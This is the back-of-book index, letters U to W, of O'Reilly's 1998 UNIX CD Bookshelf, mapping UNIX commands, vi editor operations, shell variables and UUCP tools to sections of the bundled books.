updateb script : UNIX Power Tools, 17.19. Finding Files (Much) Faster with a find Database
uppercase : (see case)
uptime command
UNIX Power Tools, 39.7. Checking System Load: uptime
UNIX in a Nutshell, Chapter 2, Reference: uptime
average reported by : UNIX Power Tools, 39.12.1. The CPU
usage information
UNIX in a Nutshell, Chapter 2, Reference: time
UNIX in a Nutshell, Chapter 2, Reference: timex
UNIX in a Nutshell, Chapter 2, Reference: w
use command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: use
USENET : UNIX Power Tools, 1.33. UNIX Networking and Communications
comp.binaries.os2 newsgroup : Learning the Korn Shell, A.6. Workalikes on PC Platforms
comp.sources.unix newsgroup : Learning the Korn Shell, A.4. pdksh
$USER, examples : UNIX Power Tools, 48.4.3. Automating Your Own Calendar
user dictionaries : (see dictionary files)
USER environment variable
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
in C shell : UNIX Power Tools, 47.2.5. Variable Syntax
user IDs (UIDs) : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
file access : UNIX Power Tools, 1.23. File Access Permissions
user shell variable : UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
user time
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 39.5. Why Is the System So Slow?
user's login shell, killing : UNIX Power Tools, 38.10. Destroying Processes with kill
user-controlled multitasking : Learning the Korn Shell, 8. Process Handling
user-defined functions : sed & awk, 9.3. Writing Your Own Functions
user-defined signals : (see USR1 signal)
user-state CPU time : UNIX Power Tools, 39.5. Why Is the System So Slow?
username field in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
usernames
mailing to : Learning the UNIX Operating System, 3.4.1. Sending Mail
printing : UNIX in a Nutshell, Chapter 2, Reference: whoami
users
UNIX Power Tools, 17.16. Searching by Owner and Group
(see also groups)
classes of : UNIX Power Tools, 39.12.4. User Communities
displaying data about : UNIX in a Nutshell, Chapter 2, Reference: finger
effect on system performance : UNIX Power Tools, 39.12.4. User Communities
groups : (see groups)
IDs, displaying : UNIX in a Nutshell, Chapter 2, Reference: id
logged-in
displaying list
UNIX in a Nutshell, Chapter 2, Reference: users
UNIX in a Nutshell, Chapter 2, Reference: who
displaying system usage : UNIX in a Nutshell, Chapter 2, Reference: ruptime
information on logged in
UNIX in a Nutshell, Chapter 2, Reference: rwho
UNIX in a Nutshell, Chapter 2, Reference: w
ownership : (see ownership, file)
permissions : (see permissions)
sending email messages to all : UNIX in a Nutshell, Chapter 2, Reference: wall
SUID bit
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.25. Access to Directories
terminating processes of : UNIX in a Nutshell, Chapter 2, Reference: shutdown
who command for : (see who command)
users command : UNIX in a Nutshell, Chapter 2, Reference: users
/usr directory
/usr/bin directory
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
UNIX Power Tools, 1.10. Internal and External Commands
UNIX Power Tools, 44.3.4. Shell Search Paths
/usr/include, header files in : UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
/usr/lib : Learning the Korn Shell, 9.2.1.1. The driver script
/usr/lib/crontab file : UNIX Power Tools, 40.12.1. Execution Scheduling
/usr/lib/crontab.local file : UNIX Power Tools, 40.12.1. Execution Scheduling
/usr/local directory : UNIX Power Tools, 52.5.3.5. Installing Everything Using the Defaults
/usr/tmp directory
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
UNIX Power Tools, 21.4. Why Both /tmp and /usr/tmp?
USR1 (user-defined) signal : UNIX Power Tools, 38.8. What Are Signals?
utilities, combining : UNIX Power Tools, 44.1. Everyone Should Learn Some Shell Programming
UTS : Learning the Korn Shell, 1. Korn Shell Basics
UUCP (UNIX-to-UNIX copy)
Learning the Korn Shell, 7.1.1. Here-documents
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 52.7.2.3. UUCP
sed & awk, UUCP
uucp command
Learning the Korn Shell, C.4. UUCP
UNIX in a Nutshell, Chapter 2, Reference: uucp
(see also uustat command)
uudecode command
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX in a Nutshell, Chapter 2, Reference: uudecode
uuencode command
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 11.3. My Favorite Is !$
UNIX in a Nutshell, Chapter 2, Reference: uudecode
UNIX in a Nutshell, Chapter 2, Reference: uuencode
uuglist command : UNIX in a Nutshell, Chapter 2, Reference: uuglist
uulog command
UNIX in a Nutshell, Chapter 2, Reference: uulog
(see also tail command)
uuname command
UNIX in a Nutshell, Chapter 2, Reference: uuname
(see also uucp command)
UUNET : UNIX Power Tools, 52.7.2.3. UUCP
uupick command
UNIX in a Nutshell, Chapter 2, Reference: uupick
(see also uuto command)
uustat command
UNIX in a Nutshell, Chapter 2, Reference: uustat
(see also uucp command)
uuto command
UNIX in a Nutshell, Chapter 2, Reference: uuto
(see also uupick command)
uutot.awk script (example) : sed & awk, 13.1. uutot.awk - Report UUCP Statistics
uux command : UNIX in a Nutshell, Chapter 2, Reference: uux

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

v command (ex) : UNIX in a Nutshell, Chapter 9, Reference: v
-v option (awk)
sed & awk, 7.10. Passing Parameters Into a Script
sed & awk, 10.4. A Menu-Based Command Generator
vacation command : UNIX in a Nutshell, Chapter 2, Reference: vacation
val command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: val
variable modifiers, C shell : UNIX in a Nutshell, 5.3.2. Variable Modifiers
variable substitution
Learning the Korn Shell, 7.3. Command-line Processing
UNIX Power Tools, 1.5. Anyone Can Program the Shell
UNIX in a Nutshell, 4.3.1. Variable Substitution
variables
Learning the Korn Shell, 3. Customizing Your Environment
Learning the Korn Shell, 3.4. Shell Variables
Learning the Korn Shell, 4.2. Shell Variables
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
sed & awk, 7.6. Expressions
sed & awk, B.2.5.3. Variables
(see also shell variables; under specific variable name)
arrays : (see arrays)
assigning input to
Learning the Korn Shell, 3.4. Shell Variables
sed & awk, 10.1.2. Assigning the Input to a Variable
awk system variables : UNIX in a Nutshell, 11.4. Awk System Variables
as Boolean patterns : sed & awk, 11.1.4. Variables as Boolean Patterns
Bourne shell syntax : UNIX Power Tools, 47.2.5. Variable Syntax
built-in : (see built-in variables)
C shell
UNIX Power Tools, 47.2.5. Variable Syntax
UNIX Power Tools, 47.4.1. Variables
UNIX in a Nutshell, 5.3. Variables
compared to conventional programming languages
environment : (see environment variables)
errors caused by : UNIX Power Tools, 46.5. Stop Syntax Errors in String Tests
finding directories and files : UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
global : Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
integer
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 6.3.4. Type and Attribute Options
Learning the Korn Shell, A.1. The Bourne Shell
(see also arithmetic expressions; let; typeset, -i)
(see also let)
listing : Learning the Korn Shell, 6.3.5. Function Options
local (in functions)
Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
Learning the Korn Shell, 6.3.2. Local Variables in Functions
local vs. global : sed & awk, 9.3. Writing Your Own Functions
multiple : UNIX Power Tools, 45.17. Making a for Loop with Multiple Variables
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
pattern-matching operators : (see pattern-matching operators)
positional parameters : (see positional parameters)
quoting rules and : Learning the Korn Shell, 3.4.1. Variables and Quoting
scope control (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
set to argv : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
set to word lists : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
sh and ksh shells : UNIX in a Nutshell, 4.3. Variables
shell : (see shell variables)
string operators : (see string operators)
in subshells : UNIX Power Tools, 13.8. Using {list} to Group Bourne Shell Commands
system : (see system variables)
tracing : UNIX Power Tools, 8.17. verbose and echo Variables Show Quoting
value of
full syntax : Learning the Korn Shell, 4.2.2. More on Variable Syntax
short form : Learning the Korn Shell, 3.4. Shell Variables
VAX/VMS
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 8. Process Handling
emulating : UNIX Power Tools, 1.8. There Are Many Shells
vc command (obsolete) : UNIX in a Nutshell, Chapter 2, Reference: vc
vedit editor : UNIX in a Nutshell, Chapter 2, Reference: vedit
verbose shell variable
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 8.17. verbose and echo Variables Show Quoting
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
verifying : (see testing)
version command (ex) : UNIX in a Nutshell, Chapter 9, Reference: version
versions
awk utility
UNIX Power Tools, 33.12. Versions of awk
sed & awk, Availability of sed and awk
sed & awk, 11.1. Original awk
sed & awk, 11.2.2. Bell Labs awk
Korn shell, determining : Learning the Korn Shell, Korn Shell Versions
UNIX
Learning the Korn Shell, 1.3. History of UNIX Shells
Learning the UNIX Operating System, Versions of UNIX
UNIX Power Tools, About UNIX Versions
vertical alignment : (see alignment/positioning)
vertical bar : (see |)
vertical spacing : (see whitespace)
vgrep script
UNIX Power Tools, 15.8. Getting a List of Non-Matching Files with grep -c
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
vi commands
@-functions : Learning the vi Editor, 7.3.9. @-Functions
abbreviated words : Learning the vi Editor, 7.3.1. Word Abbreviation
append text (a)
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.2. Appending Text
append text to end of line (A) : Learning the vi Editor, 2.4. More Ways to Insert Text
case sensitivity of : Learning the vi Editor, 1. The vi Text Editor
change character (r) : Learning the vi Editor, 2.3.3.3. Characters other
change lines (cc)
Learning the vi Editor, 2.3.3.2. Lines
Learning the vi Editor, 2.4. More Ways to Insert Text
change text (c)
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.3. Changing Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
change text to end of line (C) : Learning the vi Editor, 2.3.3.2. Lines
change words (cw)
Learning the vi Editor, 2.3.3. Changing Text
Learning the vi Editor, 2.3.3.1. Words
combine edits and movement : Learning the vi Editor, 4.1. More Command Combinations
command mode : Learning the vi Editor, 2.1. vi Commands
copy (yank) text (y)
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
delete character (x) : Learning the vi Editor, 2.3.5.3. Characters
delete line (dd) : Learning the vi Editor, 2.3.5.2. Lines
delete text (d)
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.5. Deleting Text Chapter
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
delete to end of line (D) : Learning the vi Editor, 2.3.5.2. Lines
delete up to pattern (d/pattern) : Learning the vi Editor, 3.3.2. Current Line Searches
delete word (dw) : Learning the vi Editor, 2.3.5.1. Words
display current line number (^G)
Learning the vi Editor, 3.4. Movement by Line Number
Learning the vi Editor, 3.4.1. The G (Go To) Command if
filter text through UNIX command : Learning the vi Editor, 7.2.1. Filtering Text Through a Command
general form : Learning the vi Editor, 2.3.3.1. Words
insert text (i)
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.1. vi Commands
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.1. Inserting New Text
insert text at beginning of line (I) : Learning the vi Editor, 2.4. More Ways to Insert Text
join lines (J) : Learning the vi Editor, 2.5. Joining Two Lines with J
mapped to function keys : Learning the vi Editor, 7.3.7. Mapping Function Keys
mapping : Learning the vi Editor, 7.3.2. Using the map Command
mark a place in file (m) : Learning the vi Editor, 4.4. Marking Your Place
move cursor by character
Learning the vi Editor, 2.2.1. Single Movements
Learning the vi Editor, 2.6. Review of Basic vi Commands
move cursor by line
Learning the vi Editor, 3.1.5. Movement by Line
Learning the vi Editor, 3.1.5.1. Movement on the Current Line
move cursor by screen : Learning the vi Editor, 3.1. Movement by Screens
move cursor by text block : Learning the vi Editor, 3.2. Movement by Text Blocks
move cursor by word
Learning the vi Editor, 2.2.4. Movement by Text Blocks
Learning the vi Editor, 2.6. Review of Basic vi Commands
move cursor to line number n (nG)
Learning the vi Editor, 3.4. Movement by Line Number
Learning the vi Editor, 3.4.1. The G (Go To) Command if
move cursor within a line
Learning the vi Editor, 2.2.3. Movement Within a Line
Learning the vi Editor, 2.6. Review of Basic vi Commands
move cursor within a screen : Learning the vi Editor, 3.1.4. Movement Within a Screen
move text
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.6. Moving Text
Learning the vi Editor, 2.3.6.1. Transposing Two Letters
Learning the vi Editor, 2.3.7. Copying Text
numeric arguments with
edit commands : Learning the vi Editor, 2.3.3.1. Words
insert commands : Learning the vi Editor, 2.4.1. Numeric Arguments for Insert Commands
movement commands : Learning the vi Editor, 2.2.2. Numeric Arguments
open a file (vi)
Learning the vi Editor, 1.1. Opening and Closing Files
Learning the vi Editor, 1.1.1. Opening a File
Learning the vi Editor, 1.1.2. Problems Opening Files
Learning the vi Editor, 4.2.1. Advancing to a Specific Place
in read-only mode : Learning the vi Editor, 4.2.2. Read-only Mode
open line for text (O, o) : Learning the vi Editor, 2.4. More Ways to Insert Text
put text (p)
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 2.3.6. Moving Text
Learning the vi Editor, 2.3.6.1. Transposing Two Letters
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
put text before cursor (P)
Learning the vi Editor, 2.3.6. Moving Text
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
quick reference to : Learning the vi Editor, A. Quick Reference
quit and save edits (ZZ)
Learning the vi Editor, 1.1.3. Saving and Quitting a File
Learning the vi Editor, 1.2. Quitting Without Saving Edits
Learning the vi Editor, 1.2.1. Problems Saving Files
Learning the vi Editor, 2.6. Review of Basic vi Commands
recover buffers after system crash : Learning the vi Editor, 4.2.3. Recovering a Buffer
recover deletions with u : Learning the vi Editor, 2.3.5.4. Problems with Deletions
recover numbered buffers (deletions)
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 4.3.1. Recovering Deletions
repeat last command (.)
Learning the vi Editor, 2.3.8. Repeating or Undoing Your Last Command
Learning the vi Editor, 2.3.8.1. Repeat
Learning the vi Editor, 6.1. Confirming Substitutions
repeat search (n, N)
Learning the vi Editor, 3.3.1. Repeating Searches
Learning the vi Editor, 6.1. Confirming Substitutions
replace character (r) : Learning the vi Editor, 2.3.3.3. Characters other
replace characters (R) : Learning the vi Editor, 2.4. More Ways to Insert Text
save
Learning the vi Editor, 7.3. Saving Commands
Learning the vi Editor, 7.3.9. @-Functions
scroll screen with cursor stationary (z) : Learning the vi Editor, 3.1.2. Repositioning the Screen with z
search backward for pattern (?) : Learning the vi Editor, 3.3.1. Repeating Searches
search for pattern (/) : Learning the vi Editor, 3.3. Movement by Searches
search within current line : Learning the vi Editor, 3.3.2. Current Line Searches
stop inserting text (ESC) : Learning the vi Editor, 2.1. vi Commands
substitute character (s) : Learning the vi Editor, 2.4. More Ways to Insert Text
substitute line (S) : Learning the vi Editor, 2.4. More Ways to Insert Text
summary of : Learning the vi Editor, 2.6. Review of Basic vi Commands
transpose characters (xp) : Learning the vi Editor, 2.3.6.1. Transposing Two Letters
undo all edits to line (U) : Learning the vi Editor, 2.3.8.2. Undo
undo last (u)
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 2.3.8. Repeating or Undoing Your Last Command
Learning the vi Editor, 2.3.8.2. Undo
Learning the vi Editor, 6.1. Confirming Substitutions
yank
text (y)
Learning the vi Editor, 2.3. Simple Edits
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
text between files : Learning the vi Editor, 5.5.3. Edits Between Files
to named buffers
Learning the vi Editor, 4.3. Making Use of Buffers
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
vi editor
Learning the Korn Shell, 2. Command-line Editing
Learning the Korn Shell, 2.4. Vi Editing Mode
Learning the Korn Shell, 2.6. Finger Habits
Learning the Korn Shell, 3.1. The .profile File
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, 9. Debugging Shell Programs
Learning the Korn Shell, A.6. Workalikes on PC Platforms
Learning the UNIX Operating System, 4.1. Methods of Creating Files
Learning the vi Editor, 1. The vi Text Editor
sed & awk, 5.6. List
UNIX in a Nutshell, Chapter 2, Reference: vi
UNIX in a Nutshell, 8. The Vi Editor
(see also ex editor; vi commands)
@-functions : UNIX Power Tools, 31.4. vi @-Functions
abbreviations
UNIX Power Tools, 30.31. vi Word Abbreviation
UNIX Power Tools, 31.9. Good Stuff for Your .exrc File
alternate environments (.exrc file)
Learning the vi Editor, 7.1. Customizing vi
Learning the vi Editor, 7.1.2. The .exrc File
alternate environments (EXINIT variable) : Learning the vi Editor, 7.1. Customizing vi
appending to file : UNIX Power Tools, 30.13. Appending to an Existing File
autowrite option : UNIX Power Tools, 12.4. Job Control and autowrite: Real Time Savers!
C included files : UNIX Power Tools, 30.28. Keep Track of Functions and Included Files with ctags and tags
capitalizing words : UNIX Power Tools, 30.17. Capitalizing Every Word on a Line
commands : (see vi commands)
complex macros : UNIX Power Tools, 31.15. Fooling vi into Allowing Complex Macros
compound searches : UNIX Power Tools, 30.27. vi Compound Searches
confirming substitutions : UNIX Power Tools, 30.10. Confirming Substitutions in ex and vi
counting occurrences : UNIX Power Tools, 30.16. Counting Occurrences; Stopping Search Wraps
cursor motion in input mode : UNIX Power Tools, 31.12. Text-Input Mode Cursor Motion with No Arrow Keys
customizing
Learning the vi Editor, 7.1. Customizing vi
(see also ex commands, :set)
deleting by patterns : UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
development of : UNIX Power Tools, 5.2. The Idea of a Terminal Database
entering : (see opening a file or vi commands)
ex commands in : UNIX in a Nutshell, 9.1. Syntax of Ex Commands
ex open mode : UNIX Power Tools, 30.36. The ex Open Mode Can Be Handy
execute UNIX commands from : Learning the vi Editor, 7.2. Executing UNIX Commands
EXINIT variable : UNIX Power Tools, 6.3. Predefined Environment Variables
.exrc file with : UNIX Power Tools, 4.9. Setting Up vi with the .exrc File
file recovery : UNIX Power Tools, 30.24. vi/ex File Recovery vs. Networked Filesystems
filtering text
UNIX Power Tools, 30.22.2. Filtering Text with vi
UNIX Power Tools, 30.37. Neatening Lines
function keys : UNIX Power Tools, 31.2.1. Command Mode Maps
introduction to : Learning the vi Editor, 1. The vi Text Editor
invoking on multiple files : Learning the vi Editor, 5.5.1. Invoking vi on Multiple Files one
keys not used : UNIX Power Tools, 31.2.1. Command Mode Maps
line vs. character commands : UNIX Power Tools, 30.34. vi Line Commands vs. Character Commands
map commands
UNIX Power Tools, 31.2. Save Time and Typing with the vi map Commands
UNIX Power Tools, 31.6. Protecting Keys from Interpretation by ex
marking : UNIX Power Tools, 30.38. Finding Your Place with Undo
modelines : UNIX Power Tools, 30.19. Modelines: Bug or Feature?
mouse-based editors versus : UNIX Power Tools, 30.3. Mice vs. vi
moving by patterns : UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
moving/copying text : UNIX Power Tools, 30.8. Get Back What You Deleted with Numbered Buffers
multiple setup files
UNIX Power Tools, 30.20. Multiple Editor Setup Files; Starting with a Search
UNIX Power Tools, 30.21. Per File Setups in Separate Files
multiple vi sessions : UNIX Power Tools, 30.32. Using vi Abbreviations as Commands (Cut and Paste Between vi's)
named buffers : UNIX Power Tools, 30.7. Using Buffers to Move or Copy Text
neatening lines
UNIX Power Tools, 30.37. Neatening Lines
UNIX Power Tools, 31.16. vi Macro for Splitting Long Lines
noremap command : UNIX Power Tools, 31.14. Don't Lose Important Functions with vi Maps: Use noremap
numbered buffers : UNIX Power Tools, 30.8. Get Back What You Deleted with Numbered Buffers
pasting into window : UNIX Power Tools, 31.5. Keymaps for Pasting into a Window Running vi
pattern-matching metacharacters : UNIX in a Nutshell, 6.2. Metacharacters, Listed by UNIX Program
patterns
UNIX Power Tools, 30.9. Using Search Patterns and Global Commands
UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
UNIX Power Tools, 30.27. vi Compound Searches
quoting control characters : UNIX Power Tools, 31.6. Protecting Keys from Interpretation by ex
reverting to saved : UNIX Power Tools, 30.4. Editing Multiple Files with vi
running ex scripts : UNIX Power Tools, 33.5. Running Editing Scripts Within vi
save as new file : UNIX Power Tools, 30.4. Editing Multiple Files with vi
saving as new file : UNIX Power Tools, 30.11. Keep Your Original File, Write to a New File
saving part of file : UNIX Power Tools, 30.12. Saving Part of a File
:set command : UNIX in a Nutshell, 8.10.1. The :set Command
set directory command : UNIX Power Tools, 30.35. Out of Temporary Space? Use Another Directory
settings
UNIX Power Tools, 30.6. Local Settings for vi and ex
UNIX Power Tools, 30.18. Setting vi Options Automatically for Individual Files
shell escapes : UNIX Power Tools, 30.26. Shell Escapes: Running One UNIX Command While Using Another
spell command with : UNIX Power Tools, 29.3. How Do I Spell That Word?
startup commands : UNIX Power Tools, 30.6. Local Settings for vi and ex
stopping search wraps : UNIX Power Tools, 30.16. Counting Occurrences; Stopping Search Wraps
switching between files : UNIX Power Tools, 30.4. Editing Multiple Files with vi
tags files : UNIX Power Tools, 30.28. Keep Track of Functions and Included Files with ctags and tags
transfer text between files : UNIX Power Tools, 30.5. Edits Between Files
undoing changes
UNIX Power Tools, 30.8. Get Back What You Deleted with Numbered Buffers
UNIX Power Tools, 30.10. Confirming Substitutions in ex and vi
UNIX Power Tools, 30.38. Finding Your Place with Undo
yank buffers : UNIX Power Tools, 30.5. Edits Between Files
vi-mode
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 2.4. Vi Editing Mode
Learning the Korn Shell, 7.2.1.2. Options to print
Learning the Korn Shell, 10.2.3. Types of Global Customization
basic control mode commands : Learning the Korn Shell, 2.4.1. Simple Control Mode Commands
case-changing command : Learning the Korn Shell, 2.4.7. Miscellaneous Commands
character-finding commands : Learning the Korn Shell, 2.4.5. Character-finding Commands
control mode : Learning the Korn Shell, 2.4. Vi Editing Mode
delete buffer : Learning the Korn Shell, 2.4.3. Deletion Commands
deletion commands : Learning the Korn Shell, 2.4.3. Deletion Commands
enabling : Learning the Korn Shell, 2.1. Enabling Command-line Editing
entering and changing text : Learning the Korn Shell, 2.4.2. Entering and Changing Text
filename completion/expansion : Learning the Korn Shell, 2.4.6. Filename Completion
input mode : Learning the Korn Shell, 2.4. Vi Editing Mode
key customization in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
keyboard shortcuts with aliases : Learning the Korn Shell, 2.4.7. Miscellaneous Commands
moving around in the history file : Learning the Korn Shell, 2.4.4. Moving Around in the History File
repeat counts : Learning the Korn Shell, 2.4.1. Simple Control Mode Commands
retrieving words from previous commands : Learning the Korn Shell, 2.4.7. Miscellaneous Commands
searching the history file : Learning the Korn Shell, 2.4.4. Moving Around in the History File
undelete commands : Learning the Korn Shell, 2.4.3. Deletion Commands
word definitions : Learning the Korn Shell, 2.4.1. Simple Control Mode Commands
in workalike shells : Learning the Korn Shell, A.6. Workalikes on PC Platforms
Videosoft VSAwk : sed & awk, 11.3.3. Videosoft VSAwk
view command : (see vi editor)
virtual consoles
Learning the UNIX Operating System, 2.1. Introduction to Windowing
UNIX Power Tools, 12.9. Running Multiple Shell Sessions with screen
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
virtual memory performance : UNIX Power Tools, 39.5. Why Is the System So Slow?
vis command
UNIX Power Tools, 51.7. When You Get Impatient
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
C shell history compared to : UNIX Power Tools, 51.7. When You Get Impatient
-d option : UNIX Power Tools, 51.7. When You Get Impatient
display compared to : UNIX Power Tools, 51.7. When You Get Impatient
examples : UNIX Power Tools, 51.7. When You Get Impatient
rep compared to : UNIX Power Tools, 51.7. When You Get Impatient
-s option : UNIX Power Tools, 51.7. When You Get Impatient
watch compared to : UNIX Power Tools, 51.7. When You Get Impatient
VISUAL variable
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 3.4.2.1. Editing mode variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
Visual Basic, awk for : sed & awk, 11.3.3. Videosoft VSAwk
visual command (ex) : UNIX in a Nutshell, Chapter 9, Reference: visual
vless script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
VM/CMS
Learning the Korn Shell, Preface
Learning the Korn Shell, 1.8. Background Jobs
Learning the Korn Shell, 8. Process Handling
vmore script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
vmstat
UNIX Power Tools, 39.12.2. The Memory Subsystem
UNIX Power Tools, 39.12.3. The I/O Subsystem
vnode numbers : UNIX Power Tools, 17.22. Finding the Links to a File
vpg script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
VT100 terminal
Learning the Korn Shell, 3.4.2.4. Terminal Types
UNIX Power Tools, 7.8. Highlighting in Shell Prompts
vtree program
UNIX Power Tools, 16.20. The vtree Visual Directory Tree Programs
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

w command (sed)
sed & awk, 5.11. Reading and Writing Files
UNIX in a Nutshell, Chapter 2, Reference: w
UNIX in a Nutshell, Chapter 10, Reference: w
\w escape sequence : sed & awk, 11.2.3.4. Extended regular expressions
\W escape sequence : sed & awk, 11.2.3.4. Extended regular expressions
w flag : sed & awk, 5.3. Substitution
wait command
Learning the Korn Shell, 8.5.1. wait
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 38.16. Why You Can't Kill a Zombie
UNIX in a Nutshell, Chapter 2, Reference: wait
UNIX in a Nutshell, Chapter 4, Reference: wait
UNIX in a Nutshell, Chapter 5, Reference: wait
arguments to : Learning the Korn Shell, 8.5.1. wait
in background jobs : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
wall command : UNIX in a Nutshell, Chapter 2, Reference: wall
wallclock time
UNIX Power Tools, 39.3. The csh time variable
UNIX Power Tools, 39.5. Why Is the System So Slow?
watch command vs. vis command : UNIX Power Tools, 51.7. When You Get Impatient
watchq script
UNIX Power Tools, 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
wc command
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
UNIX Power Tools, 8.6.1. Portability
UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
UNIX in a Nutshell, Chapter 2, Reference: wc
Web, described : UNIX Power Tools, 1.33. UNIX Networking and Communications
weekday in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
werase key : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
what command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: what
whatis command
UNIX Power Tools, 50.4. whatis: One-Line Command Summaries
UNIX in a Nutshell, Chapter 2, Reference: whatis
UNIX in a Nutshell, Chapter 20, Reference: whatis
advantages : UNIX Power Tools, 50.4. whatis: One-Line Command Summaries
apropos compared to : UNIX Power Tools, 50.4. whatis: One-Line Command Summaries
examples : UNIX Power Tools, 50.4. whatis: One-Line Command Summaries
when command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: when
whence
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 4.10. Find All Command Versions with whereiz
UNIX in a Nutshell, Chapter 4, Reference: whence
